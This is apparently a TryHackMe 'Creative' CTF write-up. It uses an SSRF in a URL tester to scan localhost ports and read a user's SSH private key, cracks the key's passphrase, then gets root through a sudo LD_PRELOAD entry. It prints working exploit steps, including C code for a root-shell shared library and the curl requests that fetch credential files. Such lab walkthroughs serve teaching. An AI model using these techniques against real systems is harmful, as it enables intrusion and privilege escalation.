TryHackMe - Creative
Description:
Creative from TryHackMe has a website vulnerable to SSRF allowing us to read files on the system, so we read a private ssh key and get a foothold. A sudo entry with LD_PRELOAD is then exploited to get a root shell.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.59.245
Host is up (0.12s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
| 256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_ 256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, 22 running OpenSSH and 80 running Nginx and redirecting to creative.thm
, so let’s add it to /etc/hosts
Web
Let’s check the web page.
Nothing look interesting for us in this page, and the website seems to be static.
Subdomain
Let’s run a subdomain scan and see what we can find.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm/ -H "Host: FUZZ.creative.thm" -fw 6
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://creative.thm/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.creative.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 6
________________________________________________
beta [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 167ms]
:: Progress: [4989/4989] :: Job [1/1] :: 289 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
We found the subdomain beta
, let’s add beta.creative.thm
to /etc/hosts
and go check it.
This is a url tester. I gave it https://127.0.0.1/
and got this.
It’s the creative.thm
we visited earlier, This means this form is vulnerable to SSRF
(Server Side Request Forgery).
SSRF
One thing we can try here is to look for open ports. We can do that by requesting http://127.0.0.1:{portnumber}/
It’s going to take a lot of time if we do it manually so we’ll use ffuf
for this.
First I’ll generate a list of all the ports using the following command:
1
for i in {0..65353}; echo $i >> ports.lst; done
Now we use the following ffuf command to do the fuzzing for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -c -w ./ports.lst -u http://beta.creative.thm/ -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "url=http://127.0.0.1:FUZZ" -fs 13
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://beta.creative.thm/
:: Wordlist : FUZZ: /home/sirius/CTF/THM/creative/ports.lst
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : url=http://127.0.0.1:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 13
________________________________________________
0 [Status: 200, Size: 37589, Words: 14867, Lines: 686, Duration: 284ms]
80 [Status: 200, Size: 37589, Words: 14867, Lines: 686, Duration: 242ms]
1337 [Status: 200, Size: 1143, Words: 40, Lines: 39, Duration: 213ms]
We found the port 80 which means our script is working perfectly, and also found port 1337.
I’ll use curl
from now on the do the requests.
Let’s check what’s on port 1337 using the SSRF vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ curl 'http://beta.creative.thm' -X POST --data 'url=http://127.0.0.1:1337'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="bin/">bin@</a></li>
<li><a href="boot/">boot/</a></li>
<li><a href="dev/">dev/</a></li>
<li><a href="etc/">etc/</a></li>
<li><a href="home/">home/</a></li>
<li><a href="lib/">lib@</a></li>
<li><a href="lib32/">lib32@</a></li>
<li><a href="lib64/">lib64@</a></li>
<li><a href="libx32/">libx32@</a></li>
<li><a href="lost%2Bfound/">lost+found/</a></li>
<li><a href="media/">media/</a></li>
<li><a href="mnt/">mnt/</a></li>
<li><a href="opt/">opt/</a></li>
<li><a href="proc/">proc/</a></li>
<li><a href="root/">root/</a></li>
<li><a href="run/">run/</a></li>
<li><a href="sbin/">sbin@</a></li>
<li><a href="snap/">snap/</a></li>
<li><a href="srv/">srv/</a></li>
<li><a href="swap.img">swap.img</a></li>
<li><a href="sys/">sys/</a></li>
<li><a href="tmp/">tmp/</a></li>
<li><a href="usr/">usr/</a></li>
<li><a href="var/">var/</a></li>
</ul>
<hr>
</body>
</html>
It showed us the file system!!!
Foothold
We can see the file system, let’s see if we can navigate to other directories.
1
2
3
4
5
6
7
8
9
10
11
12
$ curl 'http://beta.creative.thm' -X POST --data 'url=http://127.0.0.1:1337/home'
[...]
</head>
<body>
<h1>Directory listing for /home/</h1>
<hr>
<ul>
<li><a href="saad/">saad/</a></li>
</ul>
<hr>
</body>
</html>
We managed to list the home
directory revealing the user saad
. Let’s list his directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl 'http://beta.creative.thm' -X POST --data 'url=http://127.0.0.1:1337/home/saad'
[...]
<body>
<h1>Directory listing for /home/saad/</h1>
<hr>
<ul>
<li><a href=".bash_history">.bash_history</a></li>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".cache/">.cache/</a></li>
<li><a href=".gnupg/">.gnupg/</a></li>
<li><a href=".local/">.local/</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href=".ssh/">.ssh/</a></li>
<li><a href=".sudo_as_admin_successful">.sudo_as_admin_successful</a></li>
<li><a href="snap/">snap/</a></li>
<li><a href="start_server.py">start_server.py</a></li>
<li><a href="user.txt">user.txt</a></li>
</ul>
<hr>
</body>
</html>
We can see a .ssh
directory, hopefully it has a readable id_rsa
key for us.
1
2
3
4
5
6
7
$ curl 'http://beta.creative.thm' -X POST --data 'url=http://127.0.0.1:1337/home/saad/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABA1J8+LAd
[REDACTED]
Fcm9ZL3fa5FhAEdRXJrF8Oe5ZkHsj3nXLYnc2Z2Aqjl6TpMRubuu+qnaOdCnAGu1ghqQlS
ksrXEYjaMdndnvxBZ0zi9T+ywag=
-----END OPENSSH PRIVATE KEY-----
We got the key! Now let’s connect with it.
The key is protected with a password so we used ssh2john
to get the hash of the password, then use john
to crack the hash.
Privilege Escalation
Listing the directory of saad
we notice that the .bash_history
is not empty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
saad@m4lware:~$ ls -la
total 52
drwxr-xr-x 7 saad saad 4096 Jan 21 2023 .
drwxr-xr-x 3 root root 4096 Jan 20 2023 ..
-rw------- 1 saad saad 362 Jan 21 2023 .bash_history
-rw-r--r-- 1 saad saad 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 saad saad 3797 Jan 21 2023 .bashrc
drwx------ 2 saad saad 4096 Jan 20 2023 .cache
drwx------ 3 saad saad 4096 Jan 20 2023 .gnupg
drwxrwxr-x 3 saad saad 4096 Jan 20 2023 .local
-rw-r--r-- 1 saad saad 807 Feb 25 2020 .profile
drwx------ 3 saad saad 4096 Jan 20 2023 snap
drwx------ 2 saad saad 4096 Jan 21 2023 .ssh
-rwxr-xr-x 1 root root 150 Jan 20 2023 start_server.py
-rw-r--r-- 1 saad saad 0 Jan 20 2023 .sudo_as_admin_successful
-rw-rw---- 1 saad saad 33 Jan 21 2023 user.txt
Let’s print it out.
1
2
3
4
5
6
7
8
saad@m4lware:~$ cat .bash_history
whoami
sudo -l
echo "saad:My[REDACTED]$4291" > creds.txt
rm creds.txt
sudo -l
whomai
[...]
We got the password of saad
. Let’s check our privileges.
1
2
3
4
5
6
7
saad@m4lware:~$ sudo -l
[sudo] password for saad:
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User saad may run the following commands on m4lware:
(root) /usr/bin/ping
We can run ping as root, but that’s not useful for us.
The other thing we see is env_keep+=LD_PRELOAD
, and with this we can easily get root.
LD_PRELOAD means basicly that we can specify a shared library to run before the program(ping). for more information check here
First we need to write the following c code to a file.
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Now we compile the file using the following command:
1
gcc exploit.c -o exploit -fPIC -shared -nostartfiles -w
Assuming you named the file exploit.c, otherwise change the name.
Now we run the sudo command:
1
sudo LD_PRELOAD=/home/saad/exploit /usr/bin/ping
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).